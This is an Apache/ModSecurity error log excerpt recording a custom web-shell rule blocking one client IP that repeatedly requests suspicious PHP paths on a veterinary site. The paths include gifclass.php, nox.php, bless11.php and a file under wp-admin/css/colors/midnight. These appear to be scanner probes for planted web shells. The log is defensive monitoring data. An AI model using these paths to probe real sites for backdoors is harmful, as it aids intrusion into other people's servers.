[Fri Jan 09 00:59:55.851470 2026] [:error] [pid 17404:tid 17420] [client 20.196.88.31:11006] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aV_ii2Vd_oH193N6AnXs3gAAAY4"]
[Fri Jan 09 00:59:56.866995 2026] [:error] [pid 15265:tid 15341] [client 20.196.88.31:10887] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aV_ijKE6VBKhew2LTFR5TAAAAI8"]
[Fri Jan 09 00:59:57.425624 2026] [:error] [pid 15264:tid 15318] [client 20.196.88.31:10921] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aV_ijYov6_kvS0Owh-o6bwAAAFM"]
[Fri Jan 09 00:59:57.861644 2026] [:error] [pid 2484:tid 2487] [client 20.196.88.31:7031] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aV_ijTiDlnlaQQK_AEPTNAAAAUE"]
[Fri Jan 09 00:59:58.483696 2026] [:error] [pid 2484:tid 2502] [client 20.196.88.31:7129] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV_ijjiDlnlaQQK_AEPTNgAAAU4"]
[Fri Jan 09 00:59:58.793708 2026] [:error] [pid 2424:tid 2432] [client 20.196.88.31:7075] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV_ijrTDJR8aofkBk9Rj4AAAAQY"]
[Fri Jan 09 00:59:59.267310 2026] [:error] [pid 15265:tid 15348] [client 20.196.88.31:10987] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV_ij6E6VBKhew2LTFR5TgAAAJY"]
[Fri Jan 09 00:59:59.872006 2026] [:error] [pid 2484:tid 2510] [client 20.196.88.31:10991] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV_ijziDlnlaQQK_AEPTOQAAAVY"]
[Fri Jan 09 01:00:00.720139 2026] [:error] [pid 15264:tid 15301] [client 20.196.88.31:11007] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aV_ikIov6_kvS0Owh-o6fgAAAEI"]
[Fri Jan 09 01:00:01.272373 2026] [:error] [pid 2484:tid 2503] [client 20.196.88.31:10983] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aV_ikTiDlnlaQQK_AEPTPgAAAU8"]
[Fri Jan 09 01:00:01.685561 2026] [:error] [pid 2424:tid 2443] [client 20.196.88.31:10977] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aV_ikbTDJR8aofkBk9Rj5AAAARE"]
[Fri Jan 09 01:00:02.073011 2026] [:error] [pid 2424:tid 2441] [client 20.196.88.31:10994] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aV_ikrTDJR8aofkBk9Rj5QAAAQ8"]
[Fri Jan 09 01:00:02.567615 2026] [:error] [pid 2424:tid 2430] [client 20.196.88.31:10956] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_ikrTDJR8aofkBk9Rj5gAAAQQ"]
[Fri Jan 09 01:00:03.125207 2026] [:error] [pid 15358:tid 15385] [client 20.196.88.31:7040] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_ikyoRk9xWJ3toSBKxeQAAAM8"]
[Fri Jan 09 01:00:03.608510 2026] [:error] [pid 15263:tid 15286] [client 20.196.88.31:10976] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_ik9v61bxum7WG_e8u8QAAAA4"]
[Fri Jan 09 01:00:03.977922 2026] [:error] [pid 15358:tid 15394] [client 20.196.88.31:10996] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_ikyoRk9xWJ3toSBKxfAAAANg"]
[Fri Jan 09 01:00:04.335723 2026] [:error] [pid 2484:tid 2508] [client 20.196.88.31:10893] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aV_ilDiDlnlaQQK_AEPTQQAAAVQ"]
[Fri Jan 09 01:00:04.949010 2026] [:error] [pid 7586:tid 7591] [client 20.196.88.31:10911] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aV_ilMJyk37GdXP5TmWZRgAAAcM"]
[Fri Jan 09 01:00:05.373928 2026] [:error] [pid 2484:tid 2510] [client 20.196.88.31:6726] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aV_ilTiDlnlaQQK_AEPTRAAAAVY"]
[Fri Jan 09 01:00:05.844340 2026] [:error] [pid 2484:tid 2512] [client 20.196.88.31:10900] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aV_ilTiDlnlaQQK_AEPTSAAAAVg"]
[Fri Jan 09 01:00:06.333339 2026] [:error] [pid 15265:tid 15343] [client 20.196.88.31:10989] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aV_ilqE6VBKhew2LTFR5UgAAAJE"]
[Fri Jan 09 01:00:06.762443 2026] [:error] [pid 2424:tid 2436] [client 20.196.88.31:11001] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aV_ilrTDJR8aofkBk9Rj8gAAAQo"]
[Fri Jan 09 01:00:07.298018 2026] [:error] [pid 15263:tid 15278] [client 20.196.88.31:7083] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aV_il9v61bxum7WG_e8u9AAAAAY"]
[Fri Jan 09 01:00:07.647769 2026] [:error] [pid 7586:tid 7612] [client 20.196.88.31:7118] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aV_il8Jyk37GdXP5TmWZSgAAAdY"]
[Fri Jan 09 01:00:08.027305 2026] [:error] [pid 15265:tid 15327] [client 20.196.88.31:10970] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aV_imKE6VBKhew2LTFR5VQAAAIE"]
[Fri Jan 09 01:00:08.477865 2026] [:error] [pid 7586:tid 7604] [client 20.196.88.31:7008] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aV_imMJyk37GdXP5TmWZTQAAAc4"]
[Fri Jan 09 01:00:08.917706 2026] [:error] [pid 15358:tid 15371] [client 20.196.88.31:6768] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aV_imCoRk9xWJ3toSBKxggAAAME"]
[Fri Jan 09 01:00:09.586606 2026] [:error] [pid 17404:tid 17417] [client 20.196.88.31:7039] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aV_imWVd_oH193N6AnXs6wAAAYs"]
[Fri Jan 09 01:00:10.194598 2026] [:error] [pid 15265:tid 15342] [client 20.196.88.31:7092] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aV_imqE6VBKhew2LTFR5WwAAAJA"]
[Fri Jan 09 01:00:10.497836 2026] [:error] [pid 15265:tid 15336] [client 20.196.88.31:7011] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aV_imqE6VBKhew2LTFR5XAAAAIo"]
[Fri Jan 09 01:00:10.921690 2026] [:error] [pid 17404:tid 17423] [client 20.196.88.31:6766] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aV_immVd_oH193N6AnXs7QAAAZE"]
[Fri Jan 09 01:00:11.207827 2026] [:error] [pid 7586:tid 7609] [client 20.196.88.31:7004] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aV_im8Jyk37GdXP5TmWZUAAAAdM"]
[Fri Jan 09 01:00:11.747658 2026] [:error] [pid 15358:tid 15388] [client 20.196.88.31:11003] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aV_imyoRk9xWJ3toSBKxhQAAANI"]
[Fri Jan 09 01:00:12.211937 2026] [:error] [pid 15263:tid 15283] [client 20.196.88.31:10985] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aV_inNv61bxum7WG_e8u-wAAAAs"]
[Fri Jan 09 01:00:12.745268 2026] [:error] [pid 17404:tid 17409] [client 20.196.88.31:10898] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aV_inGVd_oH193N6AnXs8AAAAYM"]
[Fri Jan 09 01:00:13.067429 2026] [:error] [pid 15358:tid 15393] [client 20.196.88.31:10894] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aV_inSoRk9xWJ3toSBKxhwAAANc"]
[Fri Jan 09 01:00:13.506451 2026] [:error] [pid 7586:tid 7608] [client 20.196.88.31:6735] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aV_incJyk37GdXP5TmWZVgAAAdI"]
[Fri Jan 09 01:00:14.022048 2026] [:error] [pid 15263:tid 15296] [client 20.196.88.31:7062] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aV_intv61bxum7WG_e8u_AAAABg"]
[Fri Jan 09 01:00:14.775834 2026] [:error] [pid 15263:tid 15293] [client 20.196.88.31:10889] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aV_intv61bxum7WG_e8vAAAAABU"]
[Fri Jan 09 01:00:15.318757 2026] [:error] [pid 15358:tid 15389] [client 20.196.88.31:7146] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aV_inyoRk9xWJ3toSBKxigAAANM"]
[Fri Jan 09 01:00:15.756184 2026] [:error] [pid 15263:tid 15281] [client 20.196.88.31:10950] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_in9v61bxum7WG_e8vBAAAAAk"]
[Fri Jan 09 01:00:16.141497 2026] [:error] [pid 15265:tid 15328] [client 20.196.88.31:7144] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_ioKE6VBKhew2LTFR5YAAAAII"]
[Fri Jan 09 01:00:16.683530 2026] [:error] [pid 2424:tid 2429] [client 20.196.88.31:7162] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_ioLTDJR8aofkBk9RkCQAAAQM"]
[Fri Jan 09 01:00:17.207592 2026] [:error] [pid 2424:tid 2427] [client 20.196.88.31:7055] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aV_iobTDJR8aofkBk9RkCgAAAQE"]
[Fri Jan 09 01:00:17.830700 2026] [:error] [pid 15263:tid 15296] [client 20.196.88.31:10946] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aV_iodv61bxum7WG_e8vCgAAABg"]
[Fri Jan 09 01:00:18.442227 2026] [:error] [pid 2424:tid 2436] [client 20.196.88.31:6741] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aV_iorTDJR8aofkBk9RkDQAAAQo"]
[Fri Jan 09 01:00:18.992545 2026] [:error] [pid 15265:tid 15329] [client 20.196.88.31:10925] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aV_ioqE6VBKhew2LTFR5awAAAIM"]
[Fri Jan 09 01:00:19.358121 2026] [:error] [pid 15265:tid 15337] [client 20.196.88.31:7070] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aV_io6E6VBKhew2LTFR5bQAAAIs"]
[Fri Jan 09 01:00:19.999361 2026] [:error] [pid 15263:tid 15286] [client 20.196.88.31:10939] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aV_io9v61bxum7WG_e8vCwAAAA4"]
[Fri Jan 09 01:00:20.829342 2026] [:error] [pid 15358:tid 15394] [client 20.196.88.31:7082] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aV_ipCoRk9xWJ3toSBKxkAAAANg"]
[Fri Jan 09 01:00:21.328838 2026] [:error] [pid 15265:tid 15349] [client 20.196.88.31:10995] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aV_ipaE6VBKhew2LTFR5dQAAAJc"]
[Fri Jan 09 01:00:21.853802 2026] [:error] [pid 15358:tid 15381] [client 20.196.88.31:6920] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aV_ipSoRk9xWJ3toSBKxkgAAAMs"]
[Fri Jan 09 01:00:22.567880 2026] [:error] [pid 7586:tid 7598] [client 20.196.88.31:10912] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV_ipsJyk37GdXP5TmWZYAAAAco"]
[Fri Jan 09 01:00:22.889475 2026] [:error] [pid 15358:tid 15393] [client 20.196.88.31:10888] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV_ipioRk9xWJ3toSBKxlwAAANc"]
[Fri Jan 09 01:00:23.400231 2026] [:error] [pid 15358:tid 15378] [client 20.196.88.31:10908] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV_ipyoRk9xWJ3toSBKxmQAAAMg"]
[Fri Jan 09 01:00:24.010098 2026] [:error] [pid 2424:tid 2431] [client 20.196.88.31:10892] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aV_iqLTDJR8aofkBk9RkIwAAAQU"]
